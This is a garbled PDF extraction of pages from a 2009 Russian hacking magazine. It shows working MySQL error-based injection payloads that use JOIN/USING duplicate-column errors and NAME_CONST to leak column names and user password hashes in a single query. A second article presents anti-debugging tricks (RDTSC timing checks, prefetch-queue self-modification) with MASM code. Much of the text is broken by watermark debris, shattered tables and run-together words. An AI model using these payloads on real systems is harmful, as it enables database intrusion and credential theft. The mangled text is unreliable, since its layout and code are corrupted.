книги хакеры / журнал хакер / 129_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ВЫВОДИМЕНИПОЛЬЗОВАТЕЛЯИЕГОПАРОЛЯВ ПОЛУЧАЕМИМЕНАКОЛОНОКТАБЛИЦЫUSERS ТЕКСТЕОШИБКИ
test1 | 22-12-2009 | |
|
|
|
|
||
+---- |
+------ |
+----------- |
+---------- |
+---- |
+------- |
+---- |
-------- |
|
+ |
|
|
|
|
1 row in set (0.00 sec) |
|
|
|
|
||
|
|
|
|
|
|
|
И видим, что он вернул нам содержимое таблиц `users` и `news`
ввиде одной таблицы, причем имена колонок в таблицах остались прежними. То есть, у нас в выводимом результате — две колонки с именем 'id'. Попробуем получить значение поля 'id' из таблицы, составленной выше. Не забываем о том, что для сложных запросов
MySQL требует указания алиасов для каждой таблицы, участвующей
взапросе.
mysql> select * from (select * from users as a join news as b) as c;
ERROR 1060 (42S21): Duplicate column name 'id'
Отлично! Получилито, чтохотели, осталосьподумать, какприпомощи подобногозапросаполучитьименавсехстолбцов, кпримеру, таблицы `users`. Джойнимеесамуссобой:
mysql> select * from (select * from users as a join users as b) as c;
ERROR 1060 (42S21): Duplicate column name 'id'
Навыходеполучаемимяпервогостолбцатаблицы. Думаем, какполучитьостальные. Сновасмотримвдокументациюинаходимоператор USING, которыйиспользуетсядляуказанияспискастолбцов, которые присутствуютвобеихтаблицах:
USING (column_list) служит для указания списка столбцов, которые должны существовать в обеих таблицах. Такое выражение USING, как:
A LEFT JOIN B USING (C1,C2,C3,...) семантически идентично выражению ON, например: A.C1=B.C1 AND A.C2=B.C2 AND A.C3=B.C3,...
Тоесть, объединивтаблицы`news` и`users` ииспользуяоператор USING() спараметром'id', мыполучимрезультирующуютаблицу, в которойстолбецсименем'id' будетприсутствоватьтолькоодинраз. Пробуем:
mysql> select * from users a join news b USING(id); |
|
|||||
+---- |
+------ |
+----------- |
+---------- |
+------- |
+--------- |
|
---+ |
|
|
|
|
|
|
| id | name | passwd | is_admin | title | date |
| |
|||||
+---- |
+------ |
+----------- |
+---------- |
+------- |
+--------- |
|
---+ |
|
|
|
|
|
|
| |
1 | Ivan | password1 | |
|
1 | test1 | 22-12-2009 | |
|||
+---- |
+------ |
+----------- |
+---------- |
+------- |
+--------- |
|
---+
1 row in set (0.00 sec)
Действительно, видимтолькоодинстолбецсименем'id', азначити попыткаполучитьстолбецсименем'id' изэтойтаблицыникакойошибки неспровоцирует.
Применимэтотоператордляполученияименостальныхполейизтаблицы`users`, сучетомтого, чтоимя'id' мыужезнаем:
mysql> select * from (select * from users a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'name'
Ага, узналиещеодноимястолбца— 'name', пробуемдальше:
mysql> select * from (select * from users a join users b
XÀÊÅÐ 09 /129/ 09 |
059 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
ВЗЛОМ |
|
w Click |
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
WARNING |
warning
Внимание! Информацияпредставлена исключительнос цельюознакомления! Ниавтор, ниредакциязатвоидействия ответственностине несут!
HTTP://WWW
links forum.antichat.ru/ thread43966.html — всеоSQL Injection. dev.mysql.com/doc
—документацияпо
MySQL. forum.antichat.ru/ thread119047.html
—методыбыстрой работысослепыми инъекциями.
INFO |
info
Этиметодыможно использовать ивобычныхинъекци-
ях. Приихиспользованиинепридется подбиратьколичество колоноквзапросе.
СПИСОКВОЗМОЖНЫХОШИБОК SQL-ЗАПРОСОВМОЖЕТСКАЗАТЬ ОМНОГОМ
using(id, name))c;
ERROR 1060 (42S21): Duplicate column name 'passwd'
Узнаемимятретьегостолбца. Итак, одинзадругим, выявляемименастолбцоввэтойтаблице. Вконце, когдавыясним всеимена, ошибкинебудет, изапросвыполнитсяуспешно.
mysql> select * from (select * from users a join users b using(id, name, passwd, is_admin))c;
+---- |
+------ |
+----------- |
+---------- |
+ |
| id | name | passwd | is_admin | |
|
|||
+---- |
+------ |
+----------- |
+---------- |
+ |
| |
1 | Ivan | password1 | |
1 | |
|
|
+---- |
+------ |
+----------- |
+---------- |
+ |
1 row in set (0.00 sec)
Делаемвывод, чтовтаблице`users` присутствуютстолбцы
'id', 'name', 'passwd', 'is_admin'. Вродебывсехорошо, но...
методнесрабатываетнаMySQL 4-йверсии. Выясняется, чтовчетвертойверсиипритакомзапросевозникает совершеннодругаяошибка. Следовательно, всеописанное вышеможетиспользоваться, толькоеслипокаким-ли- бопричинаммынеможемвоспользоватьсятаблицей
INFORMATION_SCHEMA.tables впятойилишестойверсиях MySQL.
ВЗГЛЯДПОДДРУГИМУГЛОМ
Возможностьполучатьименастолбцовбезиспользования INFORMATION_SCHEMA — это, конечно, возможностьполезная, нотакаянеобходимостьвозникаетдовольноредко. РазвечтовслепыхSQL-инъекциях, свозможностьювыводаошибки, гдестандартныйпроцессполучениязначений занимаетдостаточномноговремени. Атутпаразапросов
—ивсенужныезначенияполучены. Хотелосьбывыжатьиз этойошибкибольшее...
Недавномневаськупостучалсяjokester (Джок, большой тебепривет!) ипредложилследующуюидею: «Апочемубы непопробоватьвыводитьзначениекакого-либополяиз базыданныхвтекстеошибкицеликом, неприбегаякклассическомуиспользованиюmore 1 row?». «Идеяотличная»,
—согласилсяя.
Онначалисследоватьвариантысоставлениязапросовс использованиемORDER BY, которыепринеправильном значениисортируемогополявыводятошибку:
mysql> select * from users order by lala; ERROR 1054 (42S22): Unknown column 'lala' in 'order clause'
ЯжевспомнилометодевыводаименколоноксиспользованиемJOIN. Черезнекотороевремямыобапришлик тому, чтонужнонайтикакой-нибудьспособзаставитьбазу данныхвосприниматьзначениеполякакимяколонки.
Этообуславливаетсятем, чтозапросы, которыеругаются нанеправильноеимяколонки, есть, азапросов, которые ругаютсянанеправильныеданныевтаблицеиприэтомих выводят, — нет.
Отлично, задачапоставлена, зарываемсявдокументацию. Находиминтереснуюфункциювразделе«Miscellaneous Functions», спометкой«for internal use only». Функция называетсяNAME_CONST(). Используетсятак: NAME_ CONST(name,value). Результатомработыстанетзначение 'value' встолбцесименем'name':
mysql> select name_const('Test', 111); +------+
| Test | +------+ | 111 | +------+
1 row in set (0.00 sec)
Какразто, чтонужно! Проверим, возможноливместозначения'value' выполнитькакой-нибудьзапрос. Достанем, к примеру, поле'passhash' изтаблицы'users':
mysql> select name_const((select passhash from users where id=1), 111); +----------------------------------+
| f8d80def69dc3ee86c5381219e4c5c80 |
+---------------------------------- |
+ |
| |
111 | |
+---------------------------------- |
+ |
1 row in set (0.00 sec)1 row in set (0.03 sec)
Отлично, все сработало, как надо — в имени столбца мы видим строку 'f8d80def69dc3ee86c5381219e4c5c80 ', которая является паролем первого пользователя из таблицы 'users'.
060 |
XÀÊÅÐ 09 /129/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
MYSQL НЕМОЖЕТПОНЯТЬ, КАКОЕИМЕННО ПОЛЕНАМНУЖНО
МАЛОИЗВЕСТНАЯФУНКЦИЯ
NAME_CONST()
ПОЛУЧЕНИЕХЕШАПАРОЛЯВКАЧЕСТВЕИМЕНИСТОЛБЦА
ИСПОЛЬЗОВАНИЕНОВОГОМЕТОДА НАДЕЙСТВИТЕЛЬНОСУЩЕСТВУЮЩЕМ WEB-ПРИЛОЖЕНИИ
Атеперьиспользуемэтотзапросвметодеполученияименполей, без использованияINFORMATION_SCHEMA. Аккуратненькосоставляем запрос, подставиввызовфункцииNAME_CONST вместоименитаблицы, вкоторойузнаемименастолбцов. Незабываемдобавлятьалиасык каждойиспользуемойтаблицеистараемсянезапутатьсявскобочках. Запускаем:
mysql> SELECT * FROM (SELECT * FROM (SELECT NAME_ CONST((SELECT passwd FROM users LIMIT 1),1)x)a JOIN (SELECT NAME_CONST((SELECT passwd FROM users LIMIT 1),1) k)e)r;
ERROR 1060 (42S21): Duplicate column name 'f8d80def69dc3 ee86c5381219e4c5c80'
Вотмыидобились, чегохотели. Теперьмызнаем, какдостатьизбазы данныхлюбоеполезаодинзапрос! Попробуемвытащитьбольшечем однополеприпомощифункцииCONCAT(), назначениекоторойобъединятьдвеиболеестрок. Например:
mysql> SELECT * FROM (SELECT * FROM (SELECT NAME_ CONST((SELECT concat(name,0x3a,passwd) FROM users LIMIT 1),1)x)a JOIN (SELECT NAME_CONST((SELECT concat(name,0x3a,passwd) FROM users LIMIT 1),1)k)e)r; ERROR 1060 (42S21): Duplicate column name 'admin:f8d80de f69dc3ee86c5381219e4c5c80'
Такмыиполучилидваполязаодинзапрос. Ксожалению, бесконечно увеличиватьколичествовыводимыхполейневозможно, таккаквывести более64 символовнеполучится. Ноэтапроблемарешаема, еслииспользоватьфункциюSUBSTRING(), описаниеккоторойтыбезпроблем найдешьвофициальнойдокументации.
ЗАКЛЮЧЕНИЕ
Далеконевсеметодикиработысуязвимостямиисследованыдоконца, вариантовупроститьсвоюработумножество. Поэтомусоветую всемхакерам отвлекатьсяоттривиальноговзломаиуделятьвремяновымисследованиям. Ведьхакерэто, впервуюочередь, исследователь, нетакли? z
Совет№3.Списоткрытымокном!
Покаещёненасталазима,инаулиценетакхолодно,какбудетвдекабре,открытоеокнонедоставиттебедискомфорта,затодоставит втвойорганизмбольшеполезногокислорода.Утромпроснёшься
свежимибодрым.Конечно,злоупотреблятьнеследует,новразумных пределахэтооченьполезно!
XÀÊÅÐ 09 /129/ 09 |
061 |
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
|
|
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
ВЗЛОМ |
|
|
w Click |
|
|
|
|
|
|
ЛЕОНИД «CR@WLER» ИСУПОВ / CRAWLER@XAKEP.RU / |
|||||
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
m |
||||||
w |
|
|
|
|
|
|
|
|
|
|||
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
«ДЕБРИ» КОДА, В КОТОРЫЕ УХОДИТ ЗАЩИЩЕННАЯ ПРОГРАММА, ВЫПОЛНЯЕМАЯПОД ОТЛАДЧИКОМ
АНТИОТЛАДОЧНЫЕ
ТРЮКИ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Активнопротиводействуемотладкенашегоприложения
ВСетиможнонайтиогромноеколичествостатей, посвященныхреверсингу. Правда, большинствонаправленынаизучениеметодов снятияконкретныхпакеровипротекторов. Втожевремятруднонайтихорошееруководствопоантиотладке, котороебыописывалометоды, применимыевомногихслучаях.
ВАШЕВРЕМЯВЫШЛО!
Фактвыполнениякодаподотладчикомскрыть достаточносложно, этовособенностиотноситсяковременивыполненияинструкций. Действительно, каждаяинструкциявыполняетсяпроцессоромзаопределенноеколичество тактов. Знаятактовуючастотупроцессора, легковычислитьвременнойпромежуток, необходимыйдлявыполнениятогоилииного объемавычислений. Дажееслиневозможно определить, какойпроцессорвоткнутвразъем материнскойплаты, можнорассчитатьдиа-
пазон, вкоторыйтеоретически укладывается скоростьинтерпретациимашинныхинструкций. Можновводитьпоправкуинаразницув частотах, инаколичествоядерпроцессора, и натехнологииоптимизациивыполнениякода, используемыевтехилииныхпроцессорах.
Ноиэтонестольважно, еслирассматривать достаточнораспространенноеоборудование, например, процессорыIntel иAMD. Значит, можноиспользоватьантиотладочныеприемы, построенныенапринципезамеравремени исполнениянекоторыхинструкций.
Работаянадантиотладочнымкодом, мы можемпойтипоодномуизследующих путей:
1.Замервременивыполненияинструкции, сравнениеполученноговременисозначением, котороеукладываетсявпринятыерамки, но имеет«запас».
2.Точныйзамервременивыполненияряда инструкций, например, оченьбольшогоцикла. Какпервый, такивторойспособыимеютсвои преимущества.
Процессороперируетпонятиемтакта, который
062 |
XÀÊÅÐ 09 /129/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
НЕСПАСАЕТПОЛОЖЕНИЕДАЖЕ ВЫПОЛНЕНИЕПРОГРАММЫПО
<F9>
В ПРИНЦИПЕ, ВЫХОДЕСТЬ. ОБНУЛЕНИЕ СЧЕТЧИКАИЛИ ЗАМЕНА ИНСТРУКЦИИНА «NOP» ДАДУТ РЕЗУЛЬТАТ, НОИСПОЛЬЗОВАНИЕ МОДИФИКАЦИЙ МЕТОДА ПОЗВОЛЯЕТ ИСКЛЮЧИТЬ И ЭТУ ВОЗМОЖНОСТЬ
КОД ВЫПОЛНЯЕТСЯ ПОД OLLYDBG ПО <F7>. РЕЗУЛЬТАТ — ВОЗНИКНОВЕНИЕ ИСКЛЮЧЕНИЯ
внекоторомсмыслеявляетсяаналогом |
|
ADDRESS: RDTSC |
Инструкция«XCHG EAX, ECX» одновремен- |
|
|||
временногопромежутка. Есликаким-либо |
|
ADDRESS_2: выполняемый код |
ноявляетсяиинструкцией, длякоторой |
|
|||
образомполучитьколичествотактов, которое |
|
ADDRESS_3:RDTSC |
замеряется«тактовыйпромежуток», ичастью |
||||
процессорвыполнилсмоментапоследнего |
|
|
антиотладочногокода(производитсясохра- |
|
|||
|
|
|
|||||
сбросасчетчикатактов, становитсявозмож- |
Естественно, код, длякоторогопроизводится |
нениесодержимогорегистраEAX врегистр |
|
||||
нымиспользоватьэтозначение, чтобыопре- |
замер, можетбытьинеспециальнонаписан- |
ECX передповторнымполучениемколичес- |
|
||||
делить, выполняетсялипотокмашинногокода |
нымнабороминструкций, акакой-либочастью |
тватактов). Послевыполненияпервыхтрех |
|
||||
сположеннойскоростью, илижепрограмма |
программы. Младшаячасть64-битнойпосле- |
инструкцийрегистрыEAX иECX содержат |
|
||||
запущенаподотладчиком. Такаявозможность |
довательности, содержащейколичествотак- |
значения, соответствующиеколичествутактов, |
|||||
существует, инструкция«rdtsc» предоставляет |
тов, помещаетсяврегистрEAX. Вбольшинстве |
выполненныхпроцессоромвразноевремя |
|
||||
программистусредствадляподсчетаколи- |
случаев(длянезначительногоколичества |
(намоментыдоипослевызоваинструкции |
|
||||
честватактов, выполненныхпроцессоромс |
инструкций) измененбудетименноон, стар- |
«XCHG»). Далеевычисляетсяихразностьиее |
|||||
моментапоследнегосброса. Воткакописыва- |
шаяжечастьпоследовательности— регистр |
сравнениесозначением0x1000. Полученная |
|||||
етэтуинструкцию«Википедия»: |
EDX — останетсянеизменной. Значит, если |
разностьпревысилазаданнуювеличину? Нас |
|||||
|
выполнитьдвазамераколичестватактов— до |
отлаживают, завершаемработу. |
|
||||
«rdtsc (Read Time Stamp Counter) — |
ипослевыполненияпроверочногокода— и |
Попробуемиспользоватьнашкодвпрограм- |
|||||
ассемблерная инструкция для плат- |
получитьразностьзначений, которымибыли |
ме, написаннойнаассемблере. Ееисходный |
|
||||
формы x86, читающая счетчик TSC |
инициализированырегистрыEAX, полученное |
кодвыглядиттак: |
|
||||
(Time Stamp Counter) и возвращающая |
значениебудетколичествомтактов, которое |
|
|
|
|
||
в регистрах EDX:EAX 64-битное коли- |
процессорвыполнилмеждузамерами. Если |
|
.386 |
|
|
||
чество тактов с момента последнего |
предположить, чтооднаинструкциянеможет |
|
|
|
|
||
сброса процессора. rdtsc поддержи- |
выполнятьсяпроцессоромзавремя, когда |
|
.model flat,stdcall |
|
|||
вается в процессорах Pentium и более |
счетчик«наматывает» более0x1000 тактов, |
|
|
|
|
||
новых. Опкод: 0F 31. В многозадачных |
можнореализоватьантиотладочныйприем |
|
option casemap:none |
|
|||
операционных системах инструкция |
следующимобразом: |
|
|
|
|
||
может быть превращена в привилегиро- |
|
|
|
; подключение необходимых библиотек: |
|
||
ванную (установлен 3 бит в управляю- |
|
RDTSC |
|
include \masm32\include\windows.inc |
; |
||
щем регистре CR4), и ее использова- |
|
XCHG EAX, ECX |
|
include \masm32\include\kernel32.inc ; |
|||
ние приведет к генерации исключения |
|
RDTSC |
|
includelib \masm32\lib\kernel32.lib |
; |
||
в программе». |
|
SUB EAX, ECX |
|
include \masm32\include\user32.inc |
; |
||
|
|
CMP EAX, 1000 |
|
includelib \masm32\lib\user32.lib |
; |
||
Длятогочтобыиспользоватьинструкцию |
|||||||
|
JBE NOT_DEBUGGED |
|
|
|
|
||
RDTSC вантиотладочныхцелях, необходимо |
|
CALL Kernel32.TerminateProcess |
|
; секция данных |
|
||
выполнитьеедважды: доипослевыполне- |
|
… |
|
.data |
|
|
|
ниякода, длякоторогобудетпроизводиться |
|
|
|
alert_upper |
db "Simply program",0 |
|
|
замер: |
|
NOT_DEBUGGED: выполнение программы |
|
alert_text |
db "Hello, World!",0 |
|
|
|
|
|
|
|
|
|
XÀÊÅÐ 09 /129/ 09 |
063 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
ВЗЛОМ |
|
w Click |
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
0x401032, хотяможноразместитьнижеуслов- |
Исполнениеэтогонабораинструкцийприведет |
|
|
; секция кода |
|
||||
|
.code |
|
|
ногопереходаинструкциюзавершенияработы |
кразличнымрезультатам, взависимостиот |
|
|
|
|
|
программы. Результатобнадеживает: отладчик |
того, каккодбылвыполнен(подотладчикомили |
|
|
start: |
|
|
OllyDBG несправилсясвыполнениемкода:). |
штатно), какиеатрибутыимеетстраницапамя- |
|
|
invoke MessageBox, |
|
ЖЕЛЕЗНАЯАНТИОТЛАДКА |
ти, следующаязастраницей, содержащейкод. |
||
|
NULL, |
|
Еслиатрибут«writeable» секциинеустановлен, |
|||
|
addr alert_text, |
|
Особенностивыполнениянекоторыхинструк- |
исполнениекодаприведетквозникновению |
||
|
addr alert_upper, |
|
цийпроцессорамипозволяетсоздаватьантиот- |
исключения, чтонеизбежноповлечеткрах |
||
|
MB_OK |
|
ладочныеметоды, обойтикоторыеспособенне |
программы. Поэтомудляегоиспользования |
||
|
|
|
|
каждыйреверсер. Этосвязаносособенностями |
необходимопредусмотретьустановкунеобхо- |
|
|
invoke ExitProcess, NULL |
|
архитектурыпроцессоров, которыенеучиты- |
димыхатрибутовнастраницыпамяти. |
||
|
end start |
|
|
ваютотладчики. Вкачествепримераможно |
Итак, какужебылосказано, результатвыпол- |
|
|
|
|
|
привестиособенностиочередипредваритель- |
нениякодазависитотнесколькихфакторов. |
|
|
|
|
|
|||
|
Утебяестьнесколькопутейреализациианти- |
нойвыборкипроцессоровIntel. Сайтwww.intel. |
Функцияданногокода, несложнодогадаться |
|||
|
отладочногоприема— можновнедритьнашу |
com комментируетпонятие«предварительная |
— перезаписьинструкцийповерхужесуществу- |
|||
|
конструкциюнепосредственновисходный |
выборка»: |
ющих. Значит, поверхинструкции«REP STOSB» |
|||
|
код, можновнестиизменениявужеоткомпи- |
|
|
должензаписатьсякод, соответствующийшест- |
||
|
лированныйPE-файл. Япредпочитаювторой |
«Исходя из содержания текущей ко- |
|
надцатеричномузначению0xC3. Естественно |
||
|
способ— онгодитсядлязащитыитехпро- |
манды или поставленной задачи, блок |
|
предположить, чтовыполнениекодадолжно |
||
|
грамм, исходнымкодомкоторыхмынерас- |
предварительной выборки определя- |
|
остановитьсясразупослетого, какинструкция |
||
|
полагаем. Значит, откомпилируемпрограмму |
ет порядок запроса соответствующих |
|
REP STOSB будетперезаписана. Действитель- |
||
|
припомощиMASM («ml /c /coff /Cp имя_фай- |
данных и инструкций из командной кэш- |
|
но, такое«поведение» процессора, выполняю- |
||
|
ла.asm»; «link /SUBSYSTEM:WINDOWS / |
памяти или системной памяти компью- |
|
щегомашинныйкод, кажетсялогичным— ведь |
||
|
LIBPATH:c:\masm32\lib /SECTION:.text,RWE |
тера. По мере поступления инструкций |
|
наместеранеевыполнявшегосякоданаходит- |
||
|
имя_файла.obj»). Имодифицируемеелюбым |
важнейшей задачей блока предвари- |
|
сяновый(машинныйкод0xC3 соответствует |
||
|
отладчиком, например, OllyDBG. Для«подо- |
тельной выборки становится их пра- |
|
инструкцииRET). Вслучаеесликодвыполнялся |
||
|
пытной», исходныйкодкоторойбылрассмот- |
вильное «выстраивание» и пересылка в |
|
вконтекстеотладчика, всебудетпроисхо- |
||
|
ренвыше, наборантиотладочныхинструкций, |
блок декодировки». |
|
дитьименнотакимобразом— выполнение |
||
|
